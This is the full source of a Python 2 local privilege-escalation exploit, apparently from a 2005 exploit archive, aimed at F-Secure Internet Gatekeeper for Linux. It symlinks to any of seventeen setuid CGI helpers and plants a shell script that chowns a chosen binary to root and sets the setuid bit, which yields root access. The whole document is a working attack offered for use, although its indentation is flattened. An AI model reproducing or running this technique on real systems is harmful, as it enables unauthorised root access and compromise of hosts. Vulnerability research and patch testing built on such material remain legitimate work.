fsigk_exp.py.txt

`#!/usr/bin/env python  
################################################################  
## fsigk_exp.py: F-Secure Internet Gatekeeper for Linux local root exploit  
## acknowledgements: everyone in pure-elite and uDc.  
##  
## coded by: [email protected] [http://xavsec.blogspot.com]  
################################################################  
  
################################################################  
## Make proper checks and import nessesary calls from modules.  
##  
  
try:   
from sys import argv  
except Exception:   
print "the 'sys' module could not be loaded"  
raise SystemExit  
  
try:   
from os import unlink, stat, error, symlink, system, chmod  
except Exception:  
print "the 'os' module could not be loaded"  
raise SystemExit  
  
try:   
import getopt  
except Exception:   
print "the 'getopt' module could not be loaded"  
raise SystemExit  
  
################################################################  
## Constants.  
##  
  
__program__ = argv[0]  
__version__ = "0.1beta"  
__author__ = "<[email protected]>"  
__lastedit__ = "Thu Sep 22 23:18:39 EDT 2005"  
__usage__ = """usage: %s [-options]  
  
options:  
--version show program's version number and exit.  
-h, --help show this help message and exit.  
  
-s, --suid file location to suid.  
-d, --dir cgi directory.  
-c, --clean cleans any left over files from the environment creation.  
-# enter numerical value of vulnerable file to exploit. [list below]  
  
1: ifconfig_suid.cgi | 2: reboot_suid.cgi | 3: proxy_suid.cgi  
4: edittmpl_suid.cgi | 5: version_suid.cgi | 6: hostname_suid.cgi  
7: gateway_suid.cgi | 8: halt_suid.cgi | 9: edituserdb_suid.cgi  
10: htpasswd_suid.cgi | 11: pattern_up_suid.cgi | 12: license_suid.cgi  
13: iptables_suid.cgi | 14: dns_suid.cgi | 15: pattern_autoup_suid.cgi  
16: spam_list_suid.cgi | 17: diag_suid.cgi""" % (__program__)  
  
################################################################  
## Functions.  
##  
  
def _write(file, payload):  
try:   
open(file, 'w').write(payload)  
chmod(file, 0100)  
except Exception, err:   
print ("[-] %s" % (err))  
  
def _exists(path):  
try:   
stat(path)  
except error:  
return False  
return True  
  
def _handleopts():  
for opt in argv[1:]:  
if opt in ("-h", "--help"):   
print "%s" % (__usage__),  
raise SystemExit  
if opt in ("-v", "--version"):   
print "%s (%s)" % (__version__, __lastedit__),  
raise SystemExit  
  
_method_ = 'ifconfig_suid.cgi'  
_file_ = 'ifconfig.cgi'  
for opt in argv[1:]:  
if opt == "-1":   
_method_ = 'ifconfig_suid.cgi'  
elif opt == "-2":   
_method_ = 'reboot_suid.cgi'  
_file_ = 'reboot.cgi'  
elif opt == "-3":   
_method_ = 'proxy_suid.cgi'  
_file_ = 'proxy.cgi'  
elif opt == "-4":   
_method_ = 'edittmpl_suid.cgi'  
_file_ = 'edittmpl.cgi'  
elif opt == "-5":   
_method_ = 'version_suid.cgi'  
_file_ = 'version.cgi'  
elif opt == "-6":   
_method_ = 'hostname_suid.cgi'  
_file_ = 'hostname.cgi'  
elif opt == "-7":   
_method_ = 'gateway_suid.cgi'  
_file_ = 'gateway.cgi'  
elif opt == "-8":   
_method_ = 'halt_suid.cgi'  
_file_ = 'halt.cgi'  
elif opt == "-9":   
_method_ = 'edituserdb_suid.cgi'  
_file_ = 'edituserdb.cgi'  
elif opt == "-10":   
_method_ = 'htpasswd_suid.cgi'  
_file_ = 'htpasswd.cgi'  
elif opt == "-11":   
_method_ = 'pattern_up_suid.cgi'  
_file_ = 'pattern_up.cgi'  
elif opt == "-12":   
_method_ = 'license_suid.cgi'  
_file_ = 'license.cgi'  
elif opt == "-13":  
_method_ = 'iptables_suid.cgi'  
_file_ = 'iptables.cgi'  
elif opt == "-14":   
_method_ = 'dns_suid.cgi'  
_file_ = 'dns.cgi'  
elif opt == "-15":   
_method_ = 'pattern_autoup_suid.cgi'  
_file_ = 'pattern_autoup.cgi'  
elif opt == "-16":   
_method_ = 'spam_list_suid.cgi'  
_file_ = 'spam_list.cgi'  
elif opt == "-17":   
_method_ = 'diag_suid.cgi'  
_file_ = 'diag.cgi'  
else:   
pass  
  
try:  
opts = getopt.getopt(argv[1:], 'c1234567890s:d:', ['clean', \  
'suid=', \  
'dir='])[0]  
except Exception, (err):  
print "[-] %s" % (err),  
raise SystemExit  
  
_dir_ = None  
_payload_ = None  
_combine_ = None  
  
for o, a in opts:  
if o in ("-c", "--clean"):   
_clean()  
print "[*] done"  
raise SystemExit  
if o in ("-d", "--dir"):   
if _exists(a):   
_dir_ = a  
else:   
print "[-] unable to access the %s directory" % (_dir_),  
raise SystemExit  
if o in ("-s", "--suid"):   
if _exists(a):   
_payload_ = _suid(a)  
else:   
print "[-] unable to access binary."  
raise SystemExit  
  
if _dir_ == None:   
print "[-] no directory was given [try -h for help menu]"  
raise SystemExit  
if _payload_ == None:   
print "[-] enter binary to suid [try -h for help menu]"  
raise SystemExit  
_combined_ = "%s/%s" % (_dir_, _method_)  
if not _exists(_combined_):   
print "[-] method not possible, try another."  
raise SystemExit  
  
print "[*] creating environment..."  
try:  
symlink('%s/%s' % (_dir_, _method_), 'runbad')  
_write(_file_, _payload_)  
except Exception, err:  
raise SystemExit  
  
  
def _suid(file):  
_suid_ = """#!/bin/sh  
chown 0.0 %(file)s  
chmod 4755 %(file)s  
""" % (locals())  
return _suid_  
  
  
def _clean():  
try:  
files = ['runbad', 'ifconfig.cgi', 'reboot.cgi', 'proxy.cgi',   
'edittmpl.cgi', 'version.cgi', 'hostname.cgi', 'gateway.cgi',  
'halt.cgi', 'edituserdb.cgi', 'htpasswd.cgi', 'pattern_up.cgi',  
'license.cgi', 'iptables.cgi', 'dns.cgi', 'pattern_autoup.cgi',   
'spam_list.cgi', 'diag_suid.cgi']  
  
for file in files:  
if _exists(file): unlink(file)  
  
except Exception, err:  
print "[-] %s" % (err),  
  
  
#################################################################  
## main() // main code.  
##  
  
def main():  
try:  
print "[INFO] F-Secure Internet Gatekeeper for Linux <=2.10-431 local exploit by %s" % (__author__)  
print "[*] handling options, arguments..."  
_handleopts()  
print "[*] executing exploit..."  
system('./runbad')  
print "[*] cleaning..."  
_clean()  
print "[*] done... try executing the specified binary."  
except KeyboardInterrupt:  
print "[-] caught keyboard interuption"  
raise SystemExit  
except Exception, (err):   
_clean()  
raise SystemExit  
  
if __name__ == '__main__': main()  
  
`